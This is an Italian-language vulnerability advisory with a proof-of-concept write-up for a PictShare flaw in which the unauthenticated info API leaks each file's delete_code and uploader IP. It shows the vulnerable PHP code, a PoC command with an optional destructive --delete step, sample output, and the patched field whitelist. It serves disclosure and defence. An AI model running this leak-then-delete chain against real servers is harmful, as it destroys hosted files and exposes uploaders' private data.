Divulgazione di informazioni sensibili tramite l'API info in PictShare < 3.7.1 (CWE-522). PoC + advisory writeup.
info in PictShareRicerca di sicurezza autorizzata. PoC solo per uso difensivo ed educativo.
L'endpoint /api/info/<hash> di PictShare
restituisce l'oggetto completo di metadati grezzi per qualsiasi file caricato — incluso il
delete_code segreto che autorizza la cancellazione, oltre all'IP dell'uploader, allo User-Agent, alla porta remota e
allo SHA-1. Un attaccante non autenticato che conosce l'hash (pubblicamente visibile) di un file può leggerne il
delete_code e quindi cancellare permanentemente file arbitrari ospitati.
| CVE | CVE-2026-104051 |
| Prodotto | PictShare (host di immagini/media self-hosted) |
| Affetto | >= 2.0.0, < 3.7.1 |
| Corretto in | v3.7.1 |
| Vulnerabilità | Credenziali insufficientemente protette (CWE-522) → cancellazione arbitraria di file + perdita di privacy |
| Privilegi | Nessuno (non autenticato) |
| CVSS 3.1 | 8.2 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H |
| CVSS 4.0 | 8.8 HIGH — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H |
| Scoperto da | Alisher Qarshibayev |
| Advisory | VulnCheck |
API::info() cerca l'hash e restituisce getMetadataOfHash() verbatim — nessuna whitelist
di campi:
// src/inc/api.class.php (< 3.7.1)
public function info()
{
$hash = $this->url[1] ?? '';
if (!$hash) return ['status' => 'err', 'reason' => 'Missing hash'];
if (!isExistingHash($hash)) return ['status' => 'err', 'reason' => 'Hash not found'];
return getMetadataOfHash($hash); // <-- raw meta.json, includes delete_code, ip, useragent
}
E checkPermissions() — l'unico controllo prima della rotta info — verifica la scrivibilità
del filesystem, non l'identità, quindi info è raggiungibile senza autenticazione:
public function checkPermissions()
{
if (!isFolderWritable(getDataDir())) throw new Exception('Data directory not writable');
else if (!isFolderWritable(ROOT.DS.'tmp')) throw new Exception('Temp directory not writable');
}
I metadati restituiti contengono delete_code, che l'API di cancellazione accetta come unico
segreto di autorizzazione:
// src/inc/api.class.php delete()
$correctCode = getDeleteCodeOfHash($hash);
if ($correctCode !== $code && $masterCode !== $code)
return ['status' => 'err', 'reason' => 'Invalid delete code'];
deleteHash($hash);
Gli hash dei file sono pubblici (compaiono in ogni URL di immagine condivisa), quindi l'intera catena —
trapelare il codice tramite info, poi cancellare tramite delete — non richiede altro che l'URL che un utente
ha già condiviso.
python3 poc.py --url https://pics.example.com --hash <public_file_hash>
# add --delete to actually exercise the deletion (destructive) step
Risultato atteso:
[*] GET /api/info/<hash>
[+] Leaked metadata via info API:
delete_code : 7f3a9c1e... <-- SECRET, should never be exposed
ip : 203.0.113.44 <-- uploader privacy leak
useragent : Mozilla/5.0 ...
remote_port : 51544
sha1 : da39a3ee...
[+] CVE-2026-104051 confirmed: delete_code exposed to unauthenticated caller
[i] With --delete: GET /api/delete/<leaked_code>/<hash> -> {"status":"ok"}
Vedi poc.py. La cancellazione è opt-in (--delete) quindi l'esecuzione predefinita è
di sola lettura e non distruttiva.
Aggiornare a PictShare 3.7.1 (commit di fix ce5fc47).
info() ora restituisce una whitelist rigorosa (mime, size, hash, sha1, uploaded) e non
trapela più delete_code, ip, useragent o remote_port. Indicazione generale: le risposte
API devono elencare esplicitamente i campi consentiti; non serializzare mai un record interno che mescola
segreti con dati pubblici.
Correlato: CVE-2026-104356 — anche senza questa fuga di dati, il
delete_codeera prevedibile perché generato conrand().
| Data | Evento |
|---|---|
| 2026-10-01 | Divulgazione pubblica, CVE riservato e pubblicato (VulnCheck), corretto in v3.7.1 |
Divulgato in modo responsabile al fornitore e coordinato tramite VulnCheck. Corretto prima del rilascio di questo PoC. Pubblicato per scopi difensivi ed educativi.